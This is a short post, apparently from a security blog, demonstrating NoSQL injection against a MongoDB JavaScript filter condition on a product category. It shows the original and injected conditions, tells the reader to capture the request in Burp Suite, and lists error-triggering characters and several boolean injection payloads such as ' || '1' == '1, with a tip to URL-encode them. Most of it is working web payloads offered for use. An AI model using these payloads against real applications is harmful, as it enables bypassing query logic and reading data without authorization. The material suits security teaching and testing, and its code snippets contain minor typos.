MongoDB Injection Attack
This is demo exploit for MongoDB filter option.
Filter Accessories :
Business Logic:
if(this.category == ""Accessories")
{
/ ...do something
}
Exploitation:
if(this.category == 'Accessories' && this.limit == 3) // Original
if(this.category == 'Accessories' || '1' == '1' && this.limit == 3) // Payload Injected
{
/ ...do something
}
Capture the request in the burp suite.
Try with combination of symbolic to make error the request.
" ' $ { } ` ;
Try with combination of Boolean expression
' && 1 == 1
' && '1' == '1
' || 1 == 1
' || '1' == '1
' || 1 ||
' || 1 || '
' || '1' == '1
Note: Make sure apply with encode is CTRL + U.
Comments
Post a Comment